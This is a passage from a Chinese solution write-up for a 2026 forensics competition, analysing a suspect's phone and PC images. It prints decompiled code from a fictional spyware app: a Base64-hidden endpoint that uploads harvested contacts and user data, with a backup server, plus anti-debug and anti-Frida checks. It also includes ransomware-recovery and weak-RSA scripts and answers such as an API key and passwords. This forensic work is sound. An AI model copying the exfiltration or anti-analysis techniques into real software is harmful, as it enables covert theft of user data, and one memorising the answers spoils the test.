案情

1054f165-1.png

解压密码:

FIC-{e404d6e66586e9460c23755afab5a872bcf78ab4}

1054f165-104.png

题目

手机

1. 分析手机检材,该手机型号为

1054f165-2.png

Redmi Note 7 Pro

2. 分析手机检材,李安弘手机计划前往迪拜的日期是

1054f165-3.png
1054f165-4.png

3. 分析手机检材,李安弘手机中与网站搭建人员沟通所使用的 app 安装日期为

1054f165-5.png

  • 所以就是 uUUTalk

1054f165-6.png
1054f165-7.png

20260414

4. 分析手机检材,李安弘手机中与网站搭建人员沟通所使用的 app,存放聊天数据的数据库为

wk_9628874a3c6b403593766496fa985893.db

5. 分析手机检材,存放聊天数据的数据库的解密密码为

9628874a3c6b403593766496fa985893

6. 分析手机检材,李安弘购买云服务器商家的收款备用钱包地址为

1054f165-8.png

TN8vQzB3n7W5wVca9W4kL2wP7xY9zM5nU1

7. 分析手机检材,李安弘手机中给网站搭建人员第一次转账的交易 hash 前6位为

1054f165-9.png
1054f165-10.png
1054f165-11.png

{
"height": 0,
"isOriginalImage": false,
"localPath": "/storage/emulated/0/Android/data/com.talk.uuuim/cache/luban_disk_cache/9054354934843.png",
"size": 199699,
"type": 2,
"url": "",
"width": 0
}

1054f165-12.png

26226f

add:

  • 同目录有三张转账图片:但最后一张没有在数据库中出现过

1054f165-13.png
1054f165-14.png

8. 分析手机检材,手机中使用的 AI 软件李安弘主动向 AI 提问了几次

1054f165-15.png
1054f165-16.png

  • 其中5次是提问
5

9. 分析手机检材,李安弘手机使用的 AI 软件调用本地 AI 模型及版本为

1054f165-17.png

Qwen3.5

10. 分析手机检材,李安弘曾使用无人机航拍,分析其飞行轨迹,其在哪个县进行飞行

  • 以前没遇到过,总结一下做法:发现 dji 应用,相关文件在 FlightRecord 下:

1054f165-18.png
1054f165-19.png

下载发现本体是 DJI 的二进制飞行日志,所以我们其实可以直接用DJIrecord来一键解密这个飞行日志
具体步骤可以看下边这个博客
获取大疆无人机的飞控记录数据并绘制曲线_大疆mini能否记录飞行速度曲线-CSDN博客
引用自:https://mei-you-qian.github.io/2026/05/07/2026FIC初赛/#二、手机取证

  • 存档佬的脚本,来源:
  • 依赖目录安装:npm install dji-log-parser-js 后使用
import struct
import os
import json
import subprocess
import sys
import math
from datetime import datetime, timezone, timedelta

BASE = os.path.dirname(os.path.abspath(__file__))
NODE_PARSER = os.path.join(BASE, "parse_dji.mjs")


def call_node_parser(filepath):
js_code = f'''
import {{ DJILog }} from "dji-log-parser-js";
import fs from "fs";

const buffer = fs.readFileSync("{filepath.replace(chr(92), "/")}");
const bytes = new Uint8Array(buffer);
try {{
const parser = new DJILog(bytes);
const result = {{
version: parser.version,
details: parser.details,
keychainsRequest: parser.keychainsRequest ? parser.keychainsRequest() : null
}};
console.log(JSON.stringify(result));
}} catch (e) {{
console.error(JSON.stringify({{error: e.message}}));
process.exit(1);
}}
'''
tmp_js = os.path.join(BASE, "_tmp_parse.mjs")
with open(tmp_js, "w", encoding="utf-8") as f:
f.write(js_code)
try:
result = subprocess.run(
["node", tmp_js],
capture_output=True, text=True, timeout=30,
cwd=BASE
)
if result.returncode != 0:
return {"error": result.stderr.strip()}
return json.loads(result.stdout.strip())
finally:
if os.path.exists(tmp_js):
os.remove(tmp_js)


def analyze_entropy(data):
if len(data) == 0:
return 0.0
freq = [0] * 256
for b in data:
freq[b] += 1
total = len(data)
entropy = -sum((c / total) * math.log2(c / total) for c in freq if c > 0)
return entropy


def format_duration(seconds):
m, s = divmod(int(seconds), 60)
h, m = divmod(m, 60)
if h > 0:
return f"{h}小时{m}分{s}秒"
return f"{m}分{s}秒"


def format_speed(ms):
return f"{ms:.1f} m/s ({ms * 3.6:.1f} km/h)"


def main():
files = sorted([
f for f in os.listdir(BASE)
if f.startswith("FlightRecord") and f.endswith(".txt")
])

print("=" * 80)
print(" DJI 无人机飞行记录日志分析报告")
print("=" * 80)
print(f"分析时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"文件目录: {BASE}")
print(f"日志文件数: {len(files)}")
print()

flights = []
for fname in files:
fpath = os.path.join(BASE, fname)
fsize = os.path.getsize(fpath)

with open(fpath, "rb") as f:
body = f.read()

header_val, detail_bytes, version = struct.unpack_from("<Qhb", body, 0)

entropy = analyze_entropy(body[100:])

parsed = call_node_parser(fpath)
details = parsed.get("details", {})

flights.append({
"file": fname,
"size": fsize,
"version": version,
"header_val": header_val,
"detail_bytes": detail_bytes,
"entropy": entropy,
"details": details,
"error": parsed.get("error"),
})

cns = timezone(timedelta(hours=8))

for i, fl in enumerate(flights, 1):
d = fl["details"]
print("=" * 80)
print(f" 飞行记录 #{i}")
print("=" * 80)

if fl["error"]:
print(f" [错误] 解析失败: {fl['error']}")
print()
continue

print(f"\n [文件信息]")
print(f" 文件名: {fl['file']}")
print(f" 文件大小: {fl['size']:,} bytes ({fl['size']/1024:.1f} KB)")
print(f" 日志版本: {fl['version']}")
print(f" 数据熵值: {fl['entropy']:.4f} bits/byte")
print(f" 记录行数: {d.get('recordLineCount', 'N/A')}")

print(f"\n [无人机信息]")
print(f" 机型: {d.get('aircraftName', 'N/A')}")
print(f" 产品类型: {d.get('productType', 'N/A')}")
print(f" 飞行器SN: {d.get('aircraftSn', 'N/A')}")
print(f" 相机SN: {d.get('cameraSn', 'N/A')}")
print(f" 遥控器SN: {d.get('rcSn', 'N/A')}")
print(f" 电池SN: {d.get('batterySn', 'N/A')}")
print(f" 应用平台: {d.get('appPlatform', 'N/A')}")
print(f" 应用版本: {d.get('appVersion', 'N/A')}")

print(f"\n [飞行参数]")
start_utc = d.get("startTime", "")
if start_utc:
try:
dt_utc = datetime.fromisoformat(start_utc.replace("Z", "+00:00"))
dt_local = dt_utc.astimezone(cns)
start_str = dt_local.strftime("%Y-%m-%d %H:%M:%S")
except:
start_str = start_utc
else:
start_str = "N/A"
print(f" 起飞时间: {start_str}")

total_time = d.get("totalTime", 0)
print(f" 飞行时长: {format_duration(total_time)} ({total_time:.1f}s)")

total_dist = d.get("totalDistance", 0)
print(f" 飞行距离: {total_dist:.3f} km ({total_dist * 1000:.1f} m)")

max_h = d.get("maxHeight", 0)
print(f" 最大高度: {max_h} m")

max_hs = d.get("maxHorizontalSpeed", 0)
print(f" 最大水平速度: {format_speed(max_hs)}")

max_vs = d.get("maxVerticalSpeed", 0)
print(f" 最大垂直速度: {format_speed(max_vs)}")

lon = d.get("longitude", 0)
lat = d.get("latitude", 0)
print(f" 起飞经度: {lon:.10f}")
print(f" 起飞纬度: {lat:.10f}")
if lon and lat:
print(f" Google地图: https://maps.google.com/?q={lat},{lon}")

takeoff_alt = d.get("takeOffAltitude", 0)
print(f" 起飞点海拔: {takeoff_alt:.1f} m")

print(f"\n [拍摄记录]")
print(f" 拍照数量: {d.get('captureNum', 0)}")
video_time_ms = d.get("videoTime", 0)
print(f" 录像时长: {video_time_ms / 1000:.1f}s ({format_duration(video_time_ms / 1000)})")

print()

if len(flights) >= 2:
print("=" * 80)
print(" 两次飞行对比分析")
print("=" * 80)

d1, d2 = flights[0]["details"], flights[1]["details"]

print(f"\n [基本信息对比]")
print(f" {'项目':<16} {'飞行#1':<30} {'飞行#2':<30}")
print(f" {'-'*16} {'-'*30} {'-'*30}")

items = [
("起飞时间",
lambda d: _fmt_time(d.get("startTime", ""), cns),
lambda d: _fmt_time(d.get("startTime", ""), cns)),
("飞行时长",
lambda d: format_duration(d.get("totalTime", 0)),
lambda d: format_duration(d.get("totalTime", 0))),
("飞行距离",
lambda d: f"{d.get('totalDistance', 0):.3f} km",
lambda d: f"{d.get('totalDistance', 0):.3f} km"),
("最大高度",
lambda d: f"{d.get('maxHeight', 0)} m",
lambda d: f"{d.get('maxHeight', 0)} m"),
("最大水平速度",
lambda d: format_speed(d.get("maxHorizontalSpeed", 0)),
lambda d: format_speed(d.get("maxHorizontalSpeed", 0))),
("最大垂直速度",
lambda d: format_speed(d.get("maxVerticalSpeed", 0)),
lambda d: format_speed(d.get("maxVerticalSpeed", 0))),
("起飞海拔",
lambda d: f"{d.get('takeOffAltitude', 0):.1f} m",
lambda d: f"{d.get('takeOffAltitude', 0):.1f} m"),
("录像时长",
lambda d: f"{d.get('videoTime', 0)/1000:.1f}s",
lambda d: f"{d.get('videoTime', 0)/1000:.1f}s"),
("记录行数",
lambda d: str(d.get("recordLineCount", "N/A")),
lambda d: str(d.get("recordLineCount", "N/A"))),
("电池SN",
lambda d: d.get("batterySn", "N/A"),
lambda d: d.get("batterySn", "N/A")),
]

for label, fn1, fn2 in items:
print(f" {label:<16} {fn1(d1):<30} {fn2(d2):<30}")

print(f"\n [关键发现]")
same_aircraft = d1.get("aircraftSn") == d2.get("aircraftSn")
same_battery = d1.get("batterySn") == d2.get("batterySn")
same_rc = d1.get("rcSn") == d2.get("rcSn")

print(f" * 两次飞行使用{'同一架' if same_aircraft else '不同'}飞行器 (SN: {d1.get('aircraftSn', 'N/A')})")
print(f" * 两次飞行使用{'同一块' if same_battery else '不同'}电池")
if not same_battery:
print(f" - 飞行#1电池: {d1.get('batterySn', 'N/A')}")
print(f" - 飞行#2电池: {d2.get('batterySn', 'N/A')}")
print(f" * 两次飞行使用{'同一个' if same_rc else '不同'}遥控器 (SN: {d1.get('rcSn', 'N/A')})")

t1 = d1.get("totalTime", 0)
t2 = d2.get("totalTime", 0)
dist1 = d1.get("totalDistance", 0)
dist2 = d2.get("totalDistance", 0)
print(f" * 飞行#1时长是飞行#2的 {t1/max(t2,0.01):.1f} 倍")
print(f" * 飞行#1距离是飞行#2的 {dist1/max(dist2,0.0001):.1f} 倍")
print(f" * 飞行#1最高飞行 {d1.get('maxHeight',0)}m,飞行#2仅 {d2.get('maxHeight',0)}m")

lon1, lat1 = d1.get("longitude", 0), d1.get("latitude", 0)
lon2, lat2 = d2.get("longitude", 0), d2.get("latitude", 0)
if lon1 and lat1 and lon2 and lat2:
from math import radians, cos, sin, asin, sqrt
dlat = radians(lat2 - lat1)
dlon = radians(lon2 - lon1)
a = sin(dlat/2)**2 + cos(radians(lat1)) * cos(radians(lat2)) * sin(dlon/2)**2
c = 2 * asin(sqrt(a))
r = 6371000
dist_m = c * r
print(f" * 两次起飞点相距约 {dist_m:.1f} 米")

gap_min = 0
try:
dt1 = datetime.fromisoformat(d1.get("startTime", "").replace("Z", "+00:00"))
dt2 = datetime.fromisoformat(d2.get("startTime", "").replace("Z", "+00:00"))
gap = (dt2 - dt1).total_seconds() - t1
if gap > 0:
gap_min = gap / 60
print(f" * 两次飞行间隔约 {gap_min:.1f} 分钟 (飞行#1着陆到飞行#2起飞)")
except:
pass

h1 = d1.get("maxHeight", 0)
h2 = d2.get("maxHeight", 0)
if h2 < 50 and h1 > h2:
print(f" * [!] 飞行#2最大高度仅{h2}m,远低于飞行#1的{h1}m,可能为低空短距测试飞行")

v1 = d1.get("videoTime", 0)
v2 = d2.get("videoTime", 0)
if v1 > 10000 and v2 < 5000:
print(f" * 飞行#1录像时间较长({v1/1000:.1f}s),飞行#2录像时间很短({v2/1000:.1f}s)")

print(f"\n [地理位置]")
print(f" 根据坐标({lat1:.4f}, {lon1:.4f})判断,起飞位置位于中国山西省吕梁市附近")

print()

print("=" * 80)
print(" 注意: 飞行日志版本14,遥测数据已加密(AES),需要DJI API密钥才能解密详细帧数据。")
print(" 以上信息来源于日志未加密的元数据(Detail)区域。")
print(" 如需完整遥测数据(轨迹、速度曲线等),可使用AirData或DJI Logbook工具在线解析。")
print("=" * 80)


def _fmt_time(ts_str, tz):
if not ts_str:
return "N/A"
try:
dt_utc = datetime.fromisoformat(ts_str.replace("Z", "+00:00"))
dt_local = dt_utc.astimezone(tz)
return dt_local.strftime("%Y-%m-%d %H:%M:%S")
except:
return ts_str


if __name__ == "__main__":
main()

1054f165-20.png

1054f165-21.png

米脂县

11. 分析手机检材,李安弘最近安装了一个视频类 APP,该 APP 声明了多个敏感权限用于收集用户隐私。请选择其中涉及用户隐私的敏感权限。

A. READ_CONTACTS
B. READ_SMS
C. RECEIVE_BOOT_COMPLETED
D. READ_CALL_LOG
E. SEND_SMS

1054f165-22.png

  • 几乎不用多猜

1054f165-23.png

  • 注意:C 有但是正常权限
  • ABD

12. 上述 APP 启动后会加载一个色情网站。请找出该 APP 当网络不可用时 APP 加载的本地离线页面路径

  • 直接 jadx 拿到的是 smali 代码
Java 源代码 (.java) 
↓ 编译
Java 字节码 (.class) —— 这是 Java 虚拟机(JVM)的“汇编语言”
↓ 转换为(dx/d8 工具)
Dalvik 字节码 (.dex) —— 这是 Android 系统的“机器码”
↓ 反编译(baksmali 工具)
Smali 代码 (.smali) —— 这是 Dalvik 字节码的“汇编语言”文本表示
  • 直接看两个跳转目标也能看出来,但咱稍微看下代码(ai)
const-string v5, "connectivity"        # v5 = "connectivity"(服务名称字符串)
invoke-virtual {v4, v5}, Lcom/livevideo/hotclub/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
# 调用 this.getSystemService("connectivity")
move-result-object v5 # 将返回值(Object 类型)存入 v5
check-cast v5, Landroid/net/ConnectivityManager;
# 将 v5 强制类型转换为 ConnectivityManager
invoke-virtual {v5}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
# 调用 cm.getActiveNetworkInfo()
move-result-object v5 # 返回值(NetworkInfo 对象)存入 v5
if-eqz v5, :cond_1 # 如果 v5 == null,跳转到 cond_1(无网络)
invoke-virtual {v5}, Landroid/net/NetworkInfo;->isConnected()Z
# 调用 activeInfo.isConnected()
move-result v5 # 返回值(boolean)存入 v5
if-eqz v5, :cond_1 # 如果 v5 == 0(false),跳转到 cond_1(无网络)
const/4 v1, 0x1 # v1 = 1(true,表示有网络)
goto :cond_2 # 跳转到 cond_2(跳过无网络分支)

:cond_1 # 无网络分支标签
const/4 v1, 0x0 # v1 = 0(false,表示无网络)

:cond_2 # 汇合点
goto :goto_0 # 跳转到最终汇合标签
:catch_all # 异常捕获标签
move-exception v5 # 异常对象存入 v5
const/4 v1, 0x0 # 发生异常,v1 = 0(false,无网络)
goto :goto_0 # 跳转到最终汇合

:goto_0 # 所有路径汇合到这里
r0 = r1 # r0 = r1(将网络状态结果复制到 r0)
android.webkit.WebView r5 = r4.f597t # r5 = this.webView
if (r0 == 0) goto L96 # 如果 r0 == 0(无网络),跳转到 L96
java.lang.String r0 = "https://www.sp-live88.com"
# 有网络:r0 = 在线 URL
goto L98 # 跳转到加载

:L96 # 无网络分支
java.lang.String r0 = "file:///android_asset/www/index.html"
# 无网络:r0 = 本地页面路径

:L98 # 加载页面
r5.loadUrl(r0) # webView.loadUrl(最终URL)
return # 方法结束
file:///android_asset/www/index.html

后续内容大量参考文章:https://www.cnblogs.com/lyydbk/p/20042661#_label1,感谢佬

13. 上述 APP 将非法收集的用户隐私数据上传至远程服务器。上传地址在代码中经过编码处理。请找出编码方式,还原出完整的上传服务器 URL

1054f165-24.png
1054f165-25.png

https://api.sp-live88.com/collect/userdata

14. 该 APP 在本地创建了 SQLite 数据库存储收集到的用户信息。请分析代码,写出用于存储用户信息的表名

1054f165-26.png

user_collection

15. 该 APP 的 assets 目录中存在一个加密配置文件 config.dat。请解密该文件,写出其中的 USDT 钱包地址

1054f165-27.png

public static String s(Context context) throws NoSuchPaddingException, NoSuchAlgorithmException, IOException, InvalidKeyException {
try {
InputStream inputStreamOpen = context.getAssets().open("config.dat");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bArr = new byte[4096];
while (true) {
int i2 = inputStreamOpen.read(bArr);
if (i2 == -1) {
inputStreamOpen.close();
byte[] byteArray = byteArrayOutputStream.toByteArray();
byte[] bArrT = t(context.getString(context.getResources().getIdentifier("config_seed", "string", context.getPackageName())));
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, new SecretKeySpec(bArrT, "AES"));
return new String(cipher.doFinal(byteArray), "UTF-8");
}
byteArrayOutputStream.write(bArr, 0, i2);
}
} catch (Exception unused) {
return null;
}
}

1054f165-28.png
1054f165-29.png

<string name="config_seed">hotclub_2026_sec</string>
import hashlib
import zipfile
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

seed = "hotclub_2026_sec"

# MD5 派生 AES 密钥
md5_hash = hashlib.md5(seed.encode('utf-8')).hexdigest()
aes_key = md5_hash[:16].encode('utf-8')

# AES/ECB/PKCS5Padding 解密
with open(r"A:\2026AAfic\reworking\HotClub_v2.1.6 - 副本\assets\config.dat", "rb") as f:
encrypted = f.read()

cipher = AES.new(aes_key, AES.MODE_ECB)
plaintext = unpad(cipher.decrypt(encrypted), AES.block_size, style="pkcs7")
config = json.loads(plaintext.decode('utf-8'))

print(config)
# 提取 USDT 钱包地址
for s in config.get('sponsors', []):
if 'wallet' in s:
print(f"USDT钱包地址: {s['wallet']}")
TXqH7sVn8bR4kL2mN9pW6xJ3cY5dF1gA

16. 该 APP 前端 JS 代码可以直接调用 Android 原生方法获取用户隐私数据。请分析暴露了哪些方法用于获取通讯录?

  1. 首先需要理解一个关键概念:Android中WebView可以通过 addJavascriptInterface 方法将Java对象注入到JavaScript环境中,使得前端网页能够直接调用Android原生方法。被注入的方法必须带有 @JavascriptInterface 注解。
  2. 所以解题的第一步是搜索 addJavascriptInterface 这个关键字,找到JS桥接的注册位置。在MainActivity的onCreate方法中,发现注册了一个名为 AppNative 的桥接对象,对应的Java类是 NativeBridge 。
  • 走捷径就是直接搜注解

1054f165-30.png

  • 老老实实看

1054f165-31.png
1054f165-32.png

com.livevideo.hotclub.bridge.NativeBridge r2 = new com.livevideo.hotclub.bridge.NativeBridge
r2.<init>(r4)
//从 new 关键字后面提取就是完整类名
java.lang.String r3 = "AppNative"
r5.addJavascriptInterface(r2, r3)
//第一个参数 r2 就是要找的对象,第二个参数 r3 是 JS 中的名称("AppNative")

1054f165-33.png

getContactsList()

17. 当主上传服务器不可达时,APP 会获取备用服务器地址。请分析备用服务器的完整域名和端口

public final void b(String str) {
try {
try {
a(new String(Base64.decode("aHR0cHM6Ly9hcGkuc3AtbGl2ZTg4LmNvbS9jb2xsZWN0L3VzZXJkYXRh", 2), "UTF-8"), str);
} catch (Exception unused) { //主上传服务器不可达时
String backupEndpoint = getBackupEndpoint(); //getBackupEndpoint()获得备用网址
if (backupEndpoint == null || backupEndpoint.isEmpty()) {
return;
}
a(backupEndpoint.concat("/collect/userdata"), str); //拼接
}
} catch (Exception unused2) {
}

1054f165-34.png

  • native 标识,在 so 文件中,反编译 lib 文件夹下 so 文件,发现 JNI_OnLoad 函数

JNI_OnLoad 是 JNI(Java Native Interface)中最重要的入口函数。当 Java 代码通过 System.loadLibrary() 加载一个动态库(.so 文件)时,系统会自动调用这个函数
JNI 规范,所有 native 方法第一个参数都是 JNIEnv*

  1. System.loadLibrary(“xxx”)
  2. Android 系统加载 libxxx.so 到内存
  3. 查找并调用 JNI_OnLoad 函数 ← 自动执行!
  4. JNI_OnLoad 注册 native 方法
  5. 返回 JNI_VERSION_1_6
  6. Java 代码可以调用 native 方法了
(*(int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668))(a1, &unk_7EC);
// JNI 函数调用
// (*(_DWORD *)a1 + 668)) 四字节解引用a1+偏移量668
// (int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668)) 函数地址
// (int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668))(a1, &unk_7EC) 调用函数

1054f165-35.png

jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
jint v2; // r5
int v3; // r0
JNIEnv *v5; // [sp+0h] [bp-18h] BYREF

v5 = 0;
if ( vm->functions->GetEnv(vm, (void **)&v5, 65542) )// 第1步:获取 JNIEnv
return -1;
v3 = (int)v5->functions->FindClass(v5, "com/livevideo/hotclub/collector/DataUploader");// 第2步:查找 Java 类
v2 = -1;
if ( v3 && ((int (__fastcall *)(JNIEnv *, int, char **, int))v5->functions[16].NewStringUTF)(v5, v3, off_312C, 2) > -1 )// 第3步:注册 native 方法
return 65542; // JNI_VERSION_1_6:JNI(Java Native Interface)的版本号
return v2;
}
jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
jint v2; // r5
int v3; // r0
int v5; // [sp+0h] [bp-18h] BYREF

v5 = 0; // JNIEnv 指针(JNIEnv*)
if ( (*vm)->GetEnv(vm, (void **)&v5, 65542) ) // 第1步:获取 JNIEnv
return -1;
v3 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v5 + 24))(
v5,
"com/livevideo/hotclub/collector/DataUploader");// 第2步:查找 Java 类
v2 = -1;
if ( v3 && (*(int (__fastcall **)(int, int, char **, int))(*(_DWORD *)v5 + 860))(v5, v3, off_312C, 2) > -1 )// 第3步:注册 native 方法
// JNI 函数调用

return 65542; // JNI_VERSION_1_6:JNI(Java Native Interface)的版本号
return v2;
}

1054f165-36.png

  • 文件-加载 c 头文件(精简版 jni.h)-JNIEnv*参数按 y 调整类型-从而 ida 识别 JNI 函数调用

1054f165-37.png

int __fastcall sub_944(int a1) // getBackupEndpoint a1=JNIEnv*
{
int v3; // r0
void *v4; // r5
_BYTE v5[256]; // [sp+Ch] [bp-1B4h] BYREF
_BYTE v6[16]; // [sp+10Ch] [bp-B4h] BYREF
_BYTE v7[128]; // [sp+11Ch] [bp-A4h] BYREF
_BYTE v8[8]; // [sp+19Ch] [bp-24h] BYREF

if ( sub_A88() ) // 反调试(Anti-Debug) 和 反Frida检测 的函数
return (*(int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668))(a1, &unk_7EC);
// JNI 函数调用
// (*(_DWORD *)a1 + 668)) 四字节解引用a1+偏移量668
// (int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668)) 函数地址
// (int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668))(a1, &unk_7EC) 调用函数
v3 = sub_D14((int)&unk_817, 0x20u);
if ( !v3 )
return (*(int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668))(a1, &unk_7EC);
v4 = (void *)v3;
sub_E14((int)v8, 8, 8, (int)"https");
sub_E14((int)v7, 128, 128, (int)"%s");
sub_E14((int)v6, 16, 16, (int)"/api/v2");
free(v4);
sub_E14((int)v5, 256, 256, (int)"%s://%s%s");
return (*(int (__fastcall **)(int, _BYTE *))(*(_DWORD *)a1 + 668))(a1, v5);
}
int sub_A88()
{
//...
v0 = fopen("/proc/self/status", "r"); // 读取 /proc/self/status,检查 TracerPid(调试器PID)
if ( v0 )
{
v1 = v0;
do
{
if ( !fgets((char *)s, 512, v1) )
{
fclose(v1);
goto LABEL_8;
}
}
while ( memcmp(s, "TracerPid:", 0xAu) );
v2 = atoi(&s[0].sa_data[8]);
fclose(v1);
if ( v2 )
return 1;
}
LABEL_8:
v3 = socket(2, 1, 0);
if ( v3 < 0 )
{
LABEL_14:
v7 = fopen("/proc/self/maps", "r");
// /proc/self/maps 列出了进程所有内存映射的库文件路径
// 检查是否加载了 Frida 相关的 .so 文件
// gmain 是 GLib 的主循环,Frida 依赖 GLib
// linjector 是 Frida 的注入器
if ( v7 )
{
v8 = v7;
while ( fgets((char *)s, 512, v8) )
{
if ( strstr((const char *)s, "frida")
|| strstr((const char *)s, "gadget")
|| strstr((const char *)s, "gmain")
|| strstr((const char *)s, "linjector") )
{
fclose(v8);
return 1;
}
}
fclose(v8);
}
sub_E14((int)optval, 64, 64, (int)"/proc/self/task");
// /proc/self/task/ 目录下包含所有线程的 PID
// 每个线程的 /proc/self/task/<PID>/comm 文件存储线程名称
// Frida 会创建名为 gmain、gdbus、gum-js-loop 等线程
v10 = opendir((const char *)optval);
if ( v10 )
{
v11 = v10;
while ( 1 )
{
while ( 1 )
{
v12 = readdir(v11);
if ( !v12 )
{
v9 = 0;
goto LABEL_39;
}
if ( v12->d_name[8] != 46 )
{
sub_E14((int)s, 64, 64, (int)"/proc/self/task/%s/comm");
v13 = fopen((const char *)s, "r");
if ( v13 )
break;
}
}
v14 = v13;
if ( fgets(v18, 32, v13) )
{
if ( strstr(v18, "gmain") || strstr(v18, "gdbus") || strstr(v18, "gum-js-loop") || strstr(v18, "frida") )
break;
}
fclose(v14);
}
fclose(v14);
v9 = 1;
LABEL_39:
closedir(v11);
}
else
{
return 0;
}
}
else
{
v4 = v3;
*(_QWORD *)&s[0].sa_data[6] = 0;
*(_QWORD *)&s[0].sa_family = 2;
*(_DWORD *)&s[0].sa_data[2] = inet_addr("127.0.0.1");// 尝试连接 127.0.0.1 的多个端口,连接成功 → 返回 1(Frida 正在运行)
for ( i = 0; ; ++i )
{
if ( i == 2 )
{
close(v4);
goto LABEL_14;
}
v6 = word_838[2 * i];
optval[1] = 500000;
*(_WORD *)s[0].sa_data = bswap32(v6) >> 16;
optval[0] = 0;
setsockopt(v4, 1, 21, optval, 8);
if ( !connect(v4, s, 16) )
break;
}
close(v4);
return 1;
}
return v9;
}
int __fastcall sub_A38(int a1) // getCommKey
{
int (__fastcall *v2)(int, void *); // r2
void *v4; // r5
int v5; // r4

if ( sub_A88() )
{
v2 = *(int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668);
return v2(a1, &unk_7EC);
}
v4 = (void *)sub_D14((int)&unk_850, 0x18u);
v2 = *(int (__fastcall **)(int, void *))(*(_DWORD *)a1 + 668);
if ( !v4 )
return v2(a1, &unk_7EC);
v5 = v2(a1, v4);
free(v4);
return v5;
}

计算机

手机拿到 vc 密码:

1054f165-38.png

1054f165-39.png

1. 分析计算机检材,操作系统版本号为

1054f165-40.png

23.1

2. 分析计算机检材,李安弘曾收到一份免费领取 token 的邮件的疑似钓鱼邮件,其发送用户邮箱为

1054f165-41.png

hf13338261292@outlook.com

3. 分析计算机检材,李安弘电脑中记录的黄金换现金的商家联系方式为

1054f165-42.png

13612817854

4. 分析计算机检材,推广设计图中的 apk 下载链接为

1054f165-43.png

from Crypto.Util.number import *
from gmpy2 import *

n = 57751892008149574447756694613209346511056045951970458143905594411398554113111623746466692172544473909892773600617029641656248235151775166339061269972238018743173330948084699695182438765935110193323089354031112350869626121317836465551360104372140181097747761558797918522051881262043738603183528521379831286761
e = 65537

sn = isqrt(n)
q = next_prime(sn)
p = n // q

phi = (p-1)*(q-1)
d = invert(e, phi)
print('d = ',d)
d =  35523357349779905170178187485659935251135867134837314931979222758324282670976025397371947065926313872401811028702468817834912779886756496413632572670718195811151125658055182908097177746721685442556966643339035563906268671458582959248629716030078694677882031903468615733997083390985840508421177858054952995297

1054f165-44.png

https://drive.google.com/file/d/1z3aRS-lkaJYKm7Cp1XjtUmVPsOEVW2fV/view?usp=sharing

5. 分析计算机检材,李安弘电脑 vpn 软件开放的代理端口为

1054f165-45.png

9527

6. 分析计算机检材,李安弘电脑中 AI 软件当前使用的模型类型为

1054f165-46.png

OpenRouter

7. 分析计算机检材,李安弘电脑中 AI 软件当前使用的模型 apiKey 为

1054f165-47.png

{"apiKey":"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","apiSecret":"","appId":"","socketProxy":{"host":"","pass":"","port":0,"socketProxyType":0,"user":""}}
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

8. 分析计算机检材,李安弘电脑中勒索软件提供的解密服务联系方式为

1054f165-48.png
1054f165-49.png

  • 应该是 mp4被加密了
*(_QWORD *)v4 = 0xAFE886AFE5A3A7E8LL;
v5 = 0xBBB3E7BBB3E720B7LL;
qmemcpy(v6, "beijixin996@tutanota.com", sizeof(v6));

1054f165-50.png

# -*- coding: utf-8 -*-
# 小端序整数 + 已有字符串 -> UTF-8

# 两个64位整数
x1 = 0xAFE886AFE5A3A7E8
x2 = 0xBBB3E7BBB3E720B7

# 转小端字节
b1 = x1.to_bytes(8, 'little')
b2 = x2.to_bytes(8, 'little')

# 字符串(ASCII/UTF-8)
s = b"beijixin996@tutanota.com"

# 合并
final_bytes = b1 + b2 + s

# 转 UTF-8 字符串
utf8_str = final_bytes.decode('utf-8', errors='ignore')

print("最终UTF-8字符串:", utf8_str)
# 最终UTF-8字符串: 解密请 系系beijixin996@tutanota.com
beijixin996@tutanota.com

9. 分析计算机检材,李安弘电脑中记录的存放黄金的保险柜编号是

  • mp4 逆向 get_token_linux 解密(vc 解开看视频)

1054f165-51.png

  • 提示↑
from pathlib import Path
import struct

files = [r"A:\2026AAfic\working\新建文件夹 (2)\202603121310.mp4", r"A:\2026AAfic\working\新建文件夹 (2)\202603121311.mp4"]
outputs = []

for fn in files:
data = bytearray(Path(fn).read_bytes())
idx = data.find(b"stco")
if idx == -1:
continue

count = struct.unpack(">I", data[idx+8:idx+12])[0]

for i in range(count):
off = idx + 12 + i * 4
value = struct.unpack(">I", data[off:off+4])[0]
struct.pack_into(">I", data, off, (value - 0x539) & 0xFFFFFFFF)

out = fn.replace(".mp4", "_repaired.mp4")
Path(out).write_bytes(data)
outputs.append(out)

print("Decrypted files:")
for o in outputs:
print(o)

1054f165-52.png

1054f165-53.png

  • 其实有提示
997546

10. 分析计算机检材,李安弘电脑中记录的保险柜密码是

1054f165-54.png

1054f165-55.png

import os
import re
import sys
from collections import defaultdict
import win32com.client

# ============================================================
# 在这里填写 ET 文件的完整路径
# ============================================================
ET_FILE_PATH = r"A:\2026AAfic\reworking\保险箱的秘密.et"

# 解密参数,与生成脚本一致
XOR_KEY = 85
CHAR_SPACING = 25
DOT_SPACING = 4

FONT_MAP = {
"0": [[1, 0], [2, 0], [0, 1], [3, 1], [0, 2], [3, 2],
[0, 3], [3, 3], [1, 4], [2, 4]],
"1": [[2, 0], [1, 1], [2, 1], [2, 2], [2, 3],
[1, 4], [2, 4], [3, 4]],
"2": [[1, 0], [2, 0], [0, 1], [3, 1], [2, 2],
[1, 3], [0, 4], [1, 4], [2, 4], [3, 4]],
"3": [[0, 0], [1, 0], [2, 0], [3, 1], [1, 2],
[2, 2], [3, 3], [0, 4], [1, 4], [2, 4]],
